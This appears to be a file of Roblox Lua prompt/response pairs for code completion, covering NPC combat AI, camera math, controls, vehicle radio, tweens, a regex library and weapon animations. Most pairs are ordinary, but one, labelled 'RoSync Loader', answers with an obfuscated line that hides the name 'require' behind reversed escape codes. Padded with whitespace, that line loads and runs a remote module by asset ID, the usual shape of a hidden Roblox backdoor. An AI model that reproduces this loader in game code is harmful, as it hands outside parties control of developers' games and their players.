--player is the player speaking to the dialogue, and dialogueFolder is the object containing the dialogue data

Response:
return function(player, dialogueFolder)
	local ClassInformationTable = require(game.ReplicatedStorage.Source.Modules.CharacterScripts.Classes.ClassInformation)

	local NumOfSupers = #require(game.ReplicatedStorage.Source.Modules.CharacterScripts.Classes.ClassInformation):GetObtainedSupers(player)

	return NumOfSupers < 2 and ClassInformationTable:GetClassFolder(player,"Warlock").Obtained.Value ~= true
end


Prompt:
--[=[
	@return SIGNAL_MARKER
	Returns a marker that will transform the current key into
	a RemoteSignal once the service is created. Should only
	be called within the Client table of a service.

	See [RemoteSignal](https://sleitnick.github.io/RbxUtil/api/RemoteSignal)
	documentation for more info.
	```lua
	local MyService = Knit.CreateService {
		Name = "MyService",
		Client = {
			-- Create the signal marker, which will turn into a
			-- RemoteSignal when Knit.Start() is called:
			MySignal = Knit.CreateSignal(),
		},
	}

	function MyService:KnitInit()
		-- Connect to the signal:
		self.Client.MySignal:Connect(function(player, ...) end)
	end
	```
]=]

Response:
function KnitServer.CreateSignal()
	return SIGNAL_MARKER
end


Prompt: -- Libraries

Response:
local Libraries = Tool:WaitForChild 'Libraries'
local Support = require(Libraries:WaitForChild 'SupportLibrary')
local Signal = require(Libraries:WaitForChild 'Signal')
local Maid = require(Libraries:WaitForChild 'Maid')
local Make = require(Libraries:WaitForChild 'Make')
local InstancePool = require(Libraries:WaitForChild 'InstancePool')


Prompt: --Animation

Response:
local leftSlash = script.Parent:WaitForChild("LeftSlash")
local leftSlashAnimation = myHuman:LoadAnimation(leftSlash)
leftSlashAnimation.Priority = Enum.AnimationPriority.Action

local rightSlash = script.Parent:WaitForChild("RightSlash")
local rightSlashAnimation = myHuman:LoadAnimation(rightSlash)
rightSlashAnimation.Priority = Enum.AnimationPriority.Action

function getUnstuck()
	myHuman:Move(Vector3.new(math.random(-1,1),0,math.random(-1,1)))
	wait(0.3)
end

function wander()
	local goal = Vector3.new(myRoot.Position.X+math.random(-120,120),myRoot.Position.Y,myRoot.Position.Z+math.random(-120,120))
	local path = game:GetService("PathfindingService"):CreatePath()
	path:ComputeAsync(myRoot.Position, goal)
	if path.Status == Enum.PathStatus.Success then
		pathFailCount = 0
		local waypoints = path:GetWaypoints()
		for i,v in ipairs(waypoints) do
			if v.Action == Enum.PathWaypointAction.Jump then
				myHuman.Jump = true
			end
			myHuman:MoveTo(v.Position)
			if i % 5 == 0 then
				if findTarget() then
					break
				end
			end
			local moveSuccess = myHuman.MoveToFinished:Wait()
			if not moveSuccess then
				break
			end
		end
	else
		pathFailCount = pathFailCount + 1
		if pathFailCount > 10 then
			pathFailCount = 0
			getUnstuck()
		end
	end
end

function findTarget()
	local dist = 200
	local target = nil
	for i,v in ipairs(workspace:GetChildren()) do
		local human = v:FindFirstChild("Humanoid")
		local torso = v:FindFirstChild("Torso") or v:FindFirstChild("HumanoidRootPart")
		if human and torso and v.Name ~= script.Parent.Name then
			if (myRoot.Position - torso.Position).Magnitude < dist and human.Health > 0 then
				target = torso
				dist = (myRoot.Position - torso.Position).Magnitude
			end
		end
	end
	return target
end

function checkSight(target)
	local ray = Ray.new(myRoot.Position, (target.Position - myRoot.Position).Unit * 200)
	local hit,position = workspace:FindPartOnRayWithIgnoreList(ray, {script.Parent})
	if hit then
		if hit:IsDescendantOf(target.Parent) then
			return true
		end
	end
	return false
end

function checkHeight(target)
	if math.abs(myRoot.Position.Y - target.Position.Y) < 5 then
		return true
	end
	return false
end

function checkDirect(target)
	if checkSight(target) and checkHeight(target) and (myRoot.Position - target.Position).Magnitude < 30 then
		return true
	end
	return false
end

function attack(target)
	if attackCool == true then
		attackCool = false
		myHuman:MoveTo(target.Position)
		myRoot.Swing:Play()
		local attackAnim = math.random(1,2)
		if attackAnim == 1 then
			leftSlashAnimation:Play()
		else
			rightSlashAnimation:Play()
		end

		local human = target.Parent.Humanoid
		human:TakeDamage(math.random(100,300))
		myRoot.Hit:Play()
		if human.Health < 1 then
			wait(0.3)
		end

		spawn(function() wait(1) attackCool = true end)
	end
end

function pathToTarget(target)
	local path = game:GetService("PathfindingService"):CreatePath()
	path:ComputeAsync(myRoot.Position,target.Position)
	if path.Status == Enum.PathStatus.Success then
		pathFailCount = 0
		local waypoints = path:GetWaypoints()
		for i,v in ipairs(waypoints) do
			if v.Action == Enum.PathWaypointAction.Jump then
				myHuman.Jump = true
			end
			spawn(function()
				wait(0.5)
				if myRoot.Position.Y < myHuman.WalkToPoint.Y and chasing == false then
					myHuman.Jump = true
				end
			end)
			myHuman:MoveTo(v.Position)
			local moveSuccess = myHuman.MoveToFinished:Wait()
			if not moveSuccess then
				break
			end
			if i % 5 == 0 then
				if checkDirect(target) then
					break
				end
				if target ~= findTarget() then
					break
				end
			end
			if (waypoints[#waypoints].Position - target.Position).Magnitude > 30 then
				break
			end
		end
	else
		pathFailCount = pathFailCount + 1
		if pathFailCount > 10 then
			pathFailCount = 0
			getUnstuck()
		end
	end
end

function chase(target)
	chasing = true
	myHuman:MoveTo(target.Position)
end

function main()
	chasing = false
	local target = findTarget()
	if target then
		local targetDistance = (myRoot.Position - target.Position).Magnitude
		if checkDirect(target) then
			if targetDistance > 3 then
				chase(target)
			end
			if targetDistance < 10 then
				attack(target)
			end
		elseif checkSight(target) and math.abs(myRoot.Position.X - target.Position.X) < 1 and
			math.abs(myRoot.Position.Z - target.Position.Z) < 1 then
				getUnstuck()
		else
			pathToTarget(target)
		end
	else
		wander()
	end
end

while wait(0.1) do
	if myHuman.Health < 1 then
		break
	end
	main()
end


Prompt:
--		carSeat.Parent.Body.Dash.Screen.G.Radio.Song.Text = "PRESET 4"
--		carSeat.Parent.Body.Dash.Screen.G.Radio.Title.Text = ""

Response:
	elseif carSeat.Stations.mood.Value == 4 then
		carSeat.Parent.Body.MP.Sound:Stop()
		carSeat.Stations.mood.Value = 1


Prompt: --[[ Last synced 9/4/2021 09:32                                                                                RoSync Loader ]]

Response: getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722905184) --[[                                                                                ]]--


Prompt: -- Ritter's loose bounding sphere algorithm

Response:
function CameraUtils.getLooseBoundingSphere(parts: {BasePart})
	local points = table.create(#parts)
	for idx, part in pairs(parts) do
		points[idx] = part.Position
	end

	-- pick an arbitrary starting point
	local x = points[1]

	-- get y, the point furthest from x
	local y = x
	local yDist = 0

	for _, p in ipairs(points) do
		local pDist = (p - x).Magnitude

		if pDist > yDist then
			y = p
			yDist = pDist
		end
	end

	-- get z, the point furthest from y
	local z = y
	local zDist = 0

	for _, p in ipairs(points) do
		local pDist = (p - y).Magnitude

		if pDist > zDist then
			z = p
			zDist = pDist
		end
	end

	-- use (y, z) as the initial bounding sphere
	local sc = (y + z)*0.5
	local sr = (y - z).Magnitude*0.5

	-- expand sphere to fit any outlying points
	for _, p in ipairs(points) do
		local pDist = (p - sc).Magnitude

		if pDist > sr then
			-- shift to midpoint
			sc = sc + (pDist - sr)*0.5*(p - sc).Unit

			-- expand
			sr = (pDist + sr)*0.5
		end
	end

	return sc, sr
end


Prompt: -- Keyboard controller is really keyboard and mouse controller

Response:
local computerInputTypeToModuleMap = {
	[Enum.UserInputType.Keyboard] = Keyboard,
	[Enum.UserInputType.MouseButton1] = Keyboard,
	[Enum.UserInputType.MouseButton2] = Keyboard,
	[Enum.UserInputType.MouseButton3] = Keyboard,
	[Enum.UserInputType.MouseWheel] = Keyboard,
	[Enum.UserInputType.MouseMovement] = Keyboard,
	[Enum.UserInputType.Gamepad1] = Gamepad,
	[Enum.UserInputType.Gamepad2] = Gamepad,
	[Enum.UserInputType.Gamepad3] = Gamepad,
	[Enum.UserInputType.Gamepad4] = Gamepad,
}

function ControlModule.new()
	local self = setmetatable({},ControlModule)

	-- The Modules above are used to construct controller instances as-needed, and this
	-- table is a map from Module to the instance created from it
	self.controllers = {}

	self.activeControlModule = nil	-- Used to prevent unnecessarily expensive checks on each input event
	self.activeController = nil
	self.touchJumpController = nil
	self.moveFunction = Players.LocalPlayer.Move
	self.humanoid = nil
	self.lastInputType = Enum.UserInputType.None
	self.cameraRelative = true

	-- For Roblox self.vehicleController
	self.humanoidSeatedConn = nil
	self.vehicleController = nil

	self.touchControlFrame = nil

	self.vehicleController = VehicleController.new(CONTROL_ACTION_PRIORITY)

	Players.LocalPlayer.CharacterAdded:Connect(function(char) self:OnCharacterAdded(char) end)
	Players.LocalPlayer.CharacterRemoving:Connect(function(char) self:OnCharacterAdded(char) end)
	if Players.LocalPlayer.Character then
		self:OnCharacterAdded(Players.LocalPlayer.Character)
	end

	RunService:BindToRenderStep("ControlScriptRenderstep", Enum.RenderPriority.Input.Value, function(dt) self:OnRenderStepped(dt) end)

	UserInputService.LastInputTypeChanged:Connect(function(newLastInputType) self:OnLastInputTypeChanged(newLastInputType) end)

	local propertyChangeListeners = {
		UserGameSettings:GetPropertyChangedSignal("TouchMovementMode"):Connect(function() self:OnTouchMovementModeChange() end),
		Players.LocalPlayer:GetPropertyChangedSignal("DevTouchMovementMode"):Connect(function() self:OnTouchMovementModeChange() end),

		UserGameSettings:GetPropertyChangedSignal("ComputerMovementMode"):Connect(function() self:OnComputerMovementModeChange() end),
		Players.LocalPlayer:GetPropertyChangedSignal("DevComputerMovementMode"):Connect(function() self:OnComputerMovementModeChange() end),
	}

	--[[ Touch Device UI ]]--
	self.playerGui = nil
	self.touchGui = nil
	self.playerGuiAddedConn = nil

	if UserInputService.TouchEnabled then
		self.playerGui = Players.LocalPlayer:FindFirstChildOfClass("PlayerGui")
		if self.playerGui then
			self:CreateTouchGuiContainer()
			self:OnLastInputTypeChanged(UserInputService:GetLastInputType())
		else
			self.playerGuiAddedConn = Players.LocalPlayer.ChildAdded:Connect(function(child)
				if child:IsA("PlayerGui") then
					self.playerGui = child
					self:CreateTouchGuiContainer()
					self.playerGuiAddedConn:Disconnect()
					self.playerGuiAddedConn = nil
					self:OnLastInputTypeChanged(UserInputService:GetLastInputType())
				end
			end)
		end
	else
		self:OnLastInputTypeChanged(UserInputService:GetLastInputType())
	end

	return self
end


Prompt: --[[ Script Variables ]]

Response:
--
while not Players.LocalPlayer do
	task.wait()
end
local LocalPlayer = Players.LocalPlayer
local ThumbpadFrame = nil
local TouchObject = nil
local OnInputEnded = nil	-- is defined in Create()
local OnTouchChangedCn = nil
local OnTouchEndedCn = nil
local currentMoveVector = Vector3.new(0,0,0)


Prompt: --Functions

Response:
game.Players.PlayerAdded:Connect(function(player)
	player.CharacterAdded:Connect(function(char)
		--Varibles
		local head = char.Head
		local newtext = nametag:Clone() --Cloning the text.
		local uppertext = newtext.UpperText
		local lowertext = newtext.LowerText
		local humanoid = char.Humanoid

		humanoid.DisplayDistanceType = "None"

		--Main Text
		newtext.Parent = head
		newtext.Adornee = head
		uppertext.Text = player.Name

		--"If" Statements

	end)
end)


Prompt: --------------------) Settings

Response:
Damage = 0 -- the ammout of health the player or mob will take

Cooldown = 5 -- cooldown for use of the tool again

BoneModelName = "Souls + Error + Insanity combo" -- name the zone model

HumanoidName = "Humanoid"-- the name of player or mob u want to damage


Prompt: -- << COMMANDS >>

Response:
local module = {

	-----------------------------------
	{
	Name = "";
	Aliases	= {};
	Prefixes = {settings.Prefix};
	Rank = 1;
	RankLock = false;
	Loopable = false;
	Tags = {};
	Description = "";
	Contributors = {};
	--
	Args = {};
	Function = function(speaker, args)

	end;
	UnFunction = function(speaker, args)

	end;
	--
	};

	-----------------------------------
	{
	Name = "";
	Aliases	= {};
	Prefixes = {settings.Prefix};
	Rank = 1;
	RankLock = false;
	Loopable = false;
	Tags = {};
	Description = "";
	Contributors = {};
	--
	Args = {};
	ClientCommand = true;
	--[[
	FireAllClients = true;
	BlockWhenPunished = true;
	PreFunction = function(speaker, args)

	end;
	Function = function(speaker, args)
		wait(10)
	end;
	--]]
	--
	};

	-----------------------------------

};

return module


Prompt: --Torque Converter and CVT:

Response: Tune.RPMEngage 		= 3500		-- Keeps RPMs to this level until passed


Prompt: --Create Tweens

Response:
F.ExtendTweenInfo = function(Time,Style,Direction,Repeat,Reverse,DelayTime,WA1,WA2)
	local Tweeninfo = TweenInfo.new(Time, Style, Direction, Repeat, Reverse, DelayTime)
	TS = TweenService:Create(Weld1, Tweeninfo, {C0 = Orig1 * CFrame.Angles(0,0,WA1)})
	TS1 = TweenService:Create(Weld2, Tweeninfo, {C0 = Orig2 * CFrame.Angles(0,0,WA2)})
end

F.RetractTweenInfo = function(Time,Style,Direction,Repeat,Reverse,DelayTime)
	local Tweeninfo1 = TweenInfo.new(Time, Style, Direction, Repeat, Reverse, DelayTime)
	TS2 = TweenService:Create(Weld1, Tweeninfo1, {C0 = Orig1})
	TS3 = TweenService:Create(Weld2, Tweeninfo1, {C0 = Orig2})
end


Prompt:
--[=[
	Retrieves the service, ensuring initialization if we are in
	the initialization phase.

	@param serviceType ServiceType
	@return any
]=]

Response:
function ServiceBag:GetService(serviceType)
	if typeof(serviceType) == "Instance" then
		serviceType = require(serviceType)
	end

	assert(type(serviceType) == "table", "Bad serviceType definition")

	local service = self._services[serviceType]
	if service then
		self:_ensureInitialization(serviceType)
		return self._services[serviceType]
	else
		if self._parentProvider then
			return self._parentProvider:GetService(serviceType)
		end

		-- Try to add the service if we're still initializing services
		self:_addServiceType(serviceType)
		self:_ensureInitialization(serviceType)
		return self._services[serviceType]
	end
end


Prompt: -- SOME OTHER VARIABLES --

Response:
local gui
local Animations


Prompt: ---[[ Message Settings ]]

Response:
module.MaximumMessageLength = 350
module.DisallowedWhiteSpace = {"\n", "\r", "\t", "\v", "\f"}
module.ClickOnPlayerNameToWhisper = true
module.ClickOnChannelNameToSetMainChannel = true
module.BubbleChatMessageTypes = {ChatConstants.MessageTypeDefault, ChatConstants.MessageTypeWhisper}


Prompt: --Precalculated paths

Response:
local t,f,n=true,false,{}
local r={
[58]={{60,41,30,56,58},t},
[49]={{60,41,39,35,34,32,31,29,28,44,45,49},t},
[16]={n,f},
[19]={{60,41,30,56,58,20,19},t},
[59]={{60,41,59},t},
[63]={{60,41,30,56,58,23,62,63},t},
[34]={{60,41,39,35,34},t},
[21]={{60,41,30,56,58,20,21},t},
[48]={{60,41,39,35,34,32,31,29,28,44,45,49,48},t},
[27]={{60,41,39,35,34,32,31,29,28,27},t},
[14]={n,f},
[31]={{60,41,39,35,34,32,31},t},
[56]={{60,41,30,56},t},
[29]={{60,41,39,35,34,32,31,29},t},
[13]={n,f},
[47]={{60,41,39,35,34,32,31,29,28,44,45,49,48,47},t},
[12]={n,f},
[45]={{60,41,39,35,34,32,31,29,28,44,45},t},
[57]={{60,41,30,56,57},t},
[36]={{60,41,39,35,37,36},t},
[25]={{60,41,39,35,34,32,31,29,28,27,26,25},t},
[71]={{60,61,71},t},
[20]={{60,41,30,56,58,20},t},
[60]={{60},t},
[8]={n,f},
[4]={n,f},
[75]={{60,61,71,72,76,73,75},t},
[22]={{60,41,30,56,58,20,21,22},t},
[74]={{60,61,71,72,76,73,74},t},
[62]={{60,41,30,56,58,23,62},t},
[1]={n,f},
[6]={n,f},
[11]={n,f},
[15]={n,f},
[37]={{60,41,39,35,37},t},
[2]={n,f},
[35]={{60,41,39,35},t},
[53]={{60,41,39,35,34,32,31,29,28,44,45,49,48,47,52,53},t},
[73]={{60,61,71,72,76,73},t},
[72]={{60,61,71,72},t},
[33]={{60,41,39,35,37,36,33},t},
[69]={{60,69},t},
[65]={{60,41,30,56,58,20,19,66,64,65},t},
[26]={{60,41,39,35,34,32,31,29,28,27,26},t},
[68]={{60,41,30,56,58,20,19,66,64,67,68},t},
[76]={{60,61,71,72,76},t},
[50]={{60,41,39,35,34,32,31,29,28,44,45,49,48,47,50},t},
[66]={{60,41,30,56,58,20,19,66},t},
[10]={n,f},
[24]={{60,41,39,35,34,32,31,29,28,27,26,25,24},t},
[23]={{60,41,30,56,58,23},t},
[44]={{60,41,39,35,34,32,31,29,28,44},t},
[39]={{60,41,39},t},
[32]={{60,41,39,35,34,32},t},
[3]={n,f},
[30]={{60,41,30},t},
[51]={{60,41,39,35,34,32,31,29,28,44,45,49,48,47,50,51},t},
[18]={n,f},
[67]={{60,41,30,56,58,20,19,66,64,67},t},
[61]={{60,61},t},
[55]={{60,41,39,35,34,32,31,29,28,44,45,49,48,47,52,53,54,55},t},
[46]={{60,41,39,35,34,32,31,29,28,44,45,49,48,47,46},t},
[42]={{60,41,39,40,38,42},t},
[40]={{60,41,39,40},t},
[52]={{60,41,39,35,34,32,31,29,28,44,45,49,48,47,52},t},
[54]={{60,41,39,35,34,32,31,29,28,44,45,49,48,47,52,53,54},t},
[43]={n,f},
[7]={n,f},
[9]={n,f},
[41]={{60,41},t},
[17]={n,f},
[38]={{60,41,39,40,38},t},
[28]={{60,41,39,35,34,32,31,29,28},t},
[5]={n,f},
[64]={{60,41,30,56,58,20,19,66,64},t},
}
return r


Response:
local TOGGLE_INPUT_PRIORITY = Enum.ContextActionPriority.High.Value + 100
local INPUT_PRIORITY = Enum.ContextActionPriority.High.Value + 101
local FREECAM_MACRO_KB = {Enum.KeyCode.LeftShift, Enum.KeyCode.Z}

local NAV_GAIN = Vector3.new(1, 1, 1)*64
local PAN_GAIN = Vector2.new(0.75, 1)*8
local FOV_GAIN = 300

local PITCH_LIMIT = rad(90)

local VEL_STIFFNESS = 1.5
local PAN_STIFFNESS = 1.0
local FOV_STIFFNESS = 4.0


Prompt:
--[[
	Creates a throttle function that drops any repeat calls within a cooldown period and instead returns the result of the last call
]]

Response:
function FunctionUtils.throttle(fn, secondsCooldown)
	assert(FunctionUtils.isCallable(fn))
	assert(type(secondsCooldown) == "number")
	assert(secondsCooldown > 0)

	local cached = false
	local lastResult = nil

	return function(...)
		if not cached then
			cached = true
			lastResult = fn(...)
			delay(
				secondsCooldown,
				function()
					cached = false
				end
			)
		end
		return lastResult
	end
end

function FunctionUtils.isCallable(thing)
	return type(thing) == "function" or
		(type(thing) == "table" and getmetatable(thing) and getmetatable(thing).__call ~= nil)
end

return FunctionUtils


Response:
local flag_map = {
	a = 'anchored', i = 'caseless', m = 'multiline', s = 'dotall', u = 'unicode', U = 'ungreedy', x ='extended',
};

local posix_class_names = {
	alnum = true, alpha = true, ascii = true, blank = true, cntrl = true, digit = true, graph = true, lower = true, print = true, punct = true, space = true, upper = true, word = true, xdigit = true,
};

local escape_chars = {
	-- grouped
	-- digit, spaces and words
	[0x44] = { "class", "digit", true }, [0x53] = { "class", "space", true }, [0x57] = { "class", "word", true },
	[0x64] = { "class", "digit", false }, [0x73] = { "class", "space", false }, [0x77] = { "class", "word", false },
	-- horizontal/vertical whitespace and newline
	[0x48] = { "class", "blank", true }, [0x56] = { "class", "vertical_tab", true },
	[0x68] = { "class", "blank", false }, [0x76] = { "class", "vertical_tab", false },
	[0x4E] = { 0x4E }, [0x52] = { 0x52 },

	-- not grouped
	[0x42] = 0x08,
	[0x6E] = 0x0A, [0x72] = 0x0D, [0x74] = 0x09,
};

local b_escape_chars = {
	-- word boundary and not word boundary
	[0x62] = { 0x62, { "class", "word", false } }, [0x42] = { 0x42, { "class", "word", false } },

	-- keep match out
	[0x4B] = { 0x4B },

	-- start & end of string
	[0x47] = { 0x47 }, [0x4A] = { 0x4A }, [0x5A] = { 0x5A }, [0x7A] = { 0x7A },
};

local valid_categories = {
	C = true, Cc = true, Cf = true, Cn = true, Co = true, Cs = true,
	L = true, Ll = true, Lm = true, Lo = true, Lt = true, Lu = true,
	M = true, Mc = true, Me = true, Mn = true,
	N = true, Nd = true, Nl = true, No = true,
	P = true, Pc = true, Pd = true, Pe = true, Pf = true, Pi = true, Po = true, Ps = true,
	S = true, Sc = true, Sk = true, Sm = true, So = true,
	Z = true, Zl = true, Zp = true, Zs = true,

	Xan = true, Xps = true, Xsp = true, Xuc = true, Xwd = true,
};

local class_ascii_punct = {
	[0x21] = true, [0x22] = true, [0x23] = true, [0x24] = true, [0x25] = true, [0x26] = true, [0x27] = true, [0x28] = true, [0x29] = true, [0x2A] = true, [0x2B] = true, [0x2C] = true, [0x2D] = true, [0x2E] = true, [0x2F] = true,
	[0x3A] = true, [0x3B] = true, [0x3C] = true, [0x3D] = true, [0x3E] = true, [0x3F] = true, [0x40] = true, [0x5B] = true, [0x5C] = true, [0x5D] = true, [0x5E] = true, [0x5F] = true, [0x60] = true, [0x7B] = true, [0x7C] = true,
	[0x7D] = true, [0x7E] = true,
};

local end_str = { 0x24 };
local dot = { 0x2E };
local beginning_str = { 0x5E };
local alternation = { 0x7C };

local function check_re(re_type, name, func)
	if re_type == "Match" then
		return function(...)
			local arg_n = select('#', ...);
			if arg_n < 1 then
				error("missing argument #1 (Match expected)", 2);
			end;
			local arg0, arg1 = ...;
			if not (proxy[arg0] and proxy[arg0].name == "Match") then
				error(string.format("invalid argument #1 to %q (Match expected, got %s)", name, typeof(arg0)), 2);
			else
				arg0 = proxy[arg0];
			end;
			if name == "group" or name == "span" then
				if arg1 == nil then
					arg1 = 0;
				end;
			end;
			return func(arg0, arg1);
		end;
	end;
	return function(...)
		local arg_n = select('#', ...);
		if arg_n < 1 then
			error("missing argument #1 (RegEx expected)", 2);
		elseif arg_n < 2 then
			error("missing argument #2 (string expected)", 2);
		end;
		local arg0, arg1, arg2, arg3, arg4, arg5 = ...;
		if not (proxy[arg0] and proxy[arg0].name == "RegEx") then
			if type(arg0) ~= "string" and type(arg0) ~= "number" then
				error(string.format("invalid argument #1 to %q (RegEx expected, got %s)", name, typeof(arg0)), 2);
			end;
			arg0 = re.fromstring(arg0);
		elseif name == "sub" then
			if type(arg2) == "number" then
				arg2 ..= '';
			elseif type(arg2) ~= "string" then
				error(string.format("invalid argument #3 to 'sub' (string expected, got %s)", typeof(arg2)), 2);
			end;
		elseif type(arg1) == "number" then
			arg1 ..= '';
		elseif type(arg1) ~= "string" then
			error(string.format("invalid argument #2 to %q (string expected, got %s)", name, typeof(arg1)), 2);
		end;
		if name ~= "sub" and name ~= "split" then
			local init_type = typeof(arg2);
			if init_type ~= 'nil' then
				arg2 = tonumber(arg2);
				if not arg2 then
					error(string.format("invalid argument #3 to %q (number expected, got %s)", name, init_type), 2);
				elseif arg2 < 0 then
					arg2 = #arg1 + math.floor(arg2 + 0.5) + 1;
				else
					arg2 = math.max(math.floor(arg2 + 0.5), 1);
				end;
			end;
		end;
		arg0 = proxy[arg0];
		if name == "match" or name == "matchiter" then
			arg3 = ...;
		elseif name == "sub" then
			arg5 = ...;
		end;
		return func(arg0, arg1, arg2, arg3, arg4, arg5);
	end;
end;


Prompt: --CHANGE THIS LINE-- (Main)

Response: Signal = script.Parent.Parent.Parent.ControlBox.SignalValues.Signal1a -- Change last word


Prompt: --//Client Animations

Response:
		IdleAnim = function(char, speed, objs)
			ts:Create(objs[2],TweenInfo.new(0.3),{C1 = require(script.Parent.Settings).RightPos}):Play() -- require(script).FakeRightPos (For fake arms) | require(script).RightArmPos (For real arms)
			ts:Create(objs[3],TweenInfo.new(0.3),{C1 = require(script.Parent.Settings).LeftPos}):Play() -- require(script).FakeLeftPos (For fake arms) | require(script).LeftArmPos (For real arms)
		end;

		StanceDown = function(char, speed, objs)
			ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-.875, -0.2, -1.25) * CFrame.Angles(math.rad(-60), math.rad(0), math.rad(0))}):Play()
			ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(1.2,-0.05,-1.65) * CFrame.Angles(math.rad(-90),math.rad(35),math.rad(-25))}):Play()
			wait(0.3)
		end;

		StanceUp = function(char, speed, objs)
			ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-.875, -1.85, -1.25) * CFrame.Angles(math.rad(-160), math.rad(0), math.rad(0))}):Play()
			ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(.65,-0.75,-1.15) * CFrame.Angles(math.rad(-170),math.rad(60),math.rad(15))}):Play()
			wait(0.3)
		end;

		Patrol = function(char, speed, objs)
			ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-0.75, -.9, -1.6) * CFrame.Angles(math.rad(-80), math.rad(-70), math.rad(0))}):Play()
			ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(0.75,0.75,-1) * CFrame.Angles(math.rad(-90),math.rad(-45),math.rad(-25))}):Play()
			wait(0.3)
		end;

		SprintAnim = function(char, speed, objs)
			ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-.875, -0.2, -1.25) * CFrame.Angles(math.rad(-60), math.rad(0), math.rad(0))}):Play()
			ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(1.2,-0.05,-1.65) * CFrame.Angles(math.rad(-90),math.rad(35),math.rad(-25))}):Play()
			wait(0.3)
		end;

		EquipAnim = function(char, speed, objs)
			ts:Create(objs[2],TweenInfo.new(0),{C1 = CFrame.new(-.875, -0.2, -1.25) * CFrame.Angles(math.rad(-60), math.rad(0), math.rad(0))}):Play()
			ts:Create(objs[3],TweenInfo.new(0),{C1 = CFrame.new(1.2,-0.05,-1.65) * CFrame.Angles(math.rad(-90),math.rad(35),math.rad(-25))}):Play()
			wait(0.1)
			objs[5].Handle:WaitForChild("AimUp"):Play()
			ts:Create(objs[2],TweenInfo.new(0.5),{C1 = require(script.Parent.Settings).RightPos}):Play()
			ts:Create(objs[3],TweenInfo.new(0.5),{C1 = require(script.Parent.Settings).LeftPos}):Play()
			wait(0.5)
		end;

		ChamberAnim = function(char, speed, objs)
			ts:Create(objs[2],TweenInfo.new(0.2),{C1 =  require(script.Parent.Settings).RightPos}):Play()
			ts:Create(objs[3],TweenInfo.new(0.2),{C1 = require(script.Parent.Settings).LeftPos}):Play()
			wait(0.2)
			objs[5].Bolt:WaitForChild("SlidePull"):Play()
			ts:Create(objs[3],TweenInfo.new(0.2),{C1 =  CFrame.new(.75,0.25,-2.1) * CFrame.Angles(math.rad(-120),math.rad(20),math.rad(-25))}):Play()
			ts:Create(objs[5].Handle:WaitForChild("Bolt"),TweenInfo.new(0.2),{C0 = CFrame.new(objs[6].BoltExtend) * CFrame.Angles(0,math.rad(0),0)}):Play()
			ts:Create(objs[5].Handle:WaitForChild("Slide"),TweenInfo.new(0.2),{C0 = CFrame.new(objs[6].SlideExtend) * CFrame.Angles(0,math.rad(0),0)}):Play()
			wait(0.2)
			objs[5].Bolt:WaitForChild("SlideRelease"):Play()
			ts:Create(objs[3],TweenInfo.new(0.15),{C1 = require(script.Parent.Settings).LeftPos}):Play()
			ts:Create(objs[5].Handle:WaitForChild("Bolt"),TweenInfo.new(0.15),{C0 = CFrame.new(0,0,0) * CFrame.Angles(0,math.rad(0),0)}):Play()
			ts:Create(objs[5].Handle:WaitForChild("Slide"),TweenInfo.new(0.15),{C0 = CFrame.new(0,0,0) * CFrame.Angles(0,math.rad(0),0)}):Play()
			wait(0.15)
		end;

		ChamberBKAnim = function(char, speed, objs)
			ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-0.875, -0.465, -1.15) * CFrame.Angles(math.rad(-95), math.rad(-2), math.rad(7.5))}):Play()
			ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(0.1,-0.15,-1.115) * CFrame.Angles(math.rad(-110),math.rad(25),math.rad(0))}):Play()
			wait(0.3)
			objs[5].Bolt:WaitForChild("SlideRelease"):Play()
			ts:Create(objs[3],TweenInfo.new(0.15),{C1 = CFrame.new(0.1,-0.15,-1.025) * CFrame.Angles(math.rad(-100),math.rad(30),math.rad(0))}):Play()
			ts:Create(objs[5].Handle:WaitForChild("Bolt"),TweenInfo.new(0.1),{C0 = CFrame.new(0,0,0) * CFrame.Angles(0,math.rad(0),0)}):Play()
			ts:Create(objs[5].Handle:WaitForChild("Slide"),TweenInfo.new(0.1),{C0 = CFrame.new(0,0,0) * CFrame.Angles(0,math.rad(0),0)}):Play()
			wait(0.15)
		end;

		CheckAnim = function(char, speed, objs)
			ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-0.875, 0, -1.15) * CFrame.Angles(math.rad(-95), math.rad(-2), math.rad(7.5))}):Play()
			ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.5,0.475,-1.6) * CFrame.Angles(math.rad(-100),math.rad(0),math.rad(7.5))}):Play()
			wait(.35)
			local MagC = objs[5]:WaitForChild("Mag"):clone()
				objs[5].Mag.Transparency = 1
				MagC.Parent = objs[5]
				MagC.Name = "MagC"
				MagC.Transparency = 0

			local MagCW = Instance.new("Motor6D")
				MagCW.Part0 = MagC
				MagCW.Part1 = objs[3].Parent.Parent:WaitForChild("Left Arm")
				MagCW.Parent = MagC
				MagCW.C1 = MagC.CFrame:toObjectSpace(objs[3].Parent.Parent:WaitForChild("Left Arm").CFrame)
			ts:Create(MagCW,TweenInfo.new(0),{C0 = CFrame.new(-0.2, 0.5, -0.75) * CFrame.Angles(math.rad(-90), math.rad(0), math.rad(0))}):Play()
			ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.45,0.475,-2.05) * CFrame.Angles(math.rad(-100),math.rad(0),math.rad(7.5))}):Play()
			objs[5].Handle:WaitForChild("MagOut"):Play()
			wait(0.3)
			ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(0.15,0.475,-1.5) * CFrame.Angles(math.rad(-100),math.rad(0),math.rad(0))}):Play()
			wait(1.5)
			ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.45,0.475,-2.05) * CFrame.Angles(math.rad(-100),math.rad(0),math.rad(7.5))}):Play()
			wait(0.3)
			ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.5,0.475,-1.6) * CFrame.Angles(math.rad(-100),math.rad(0),math.rad(7.5))}):Play()
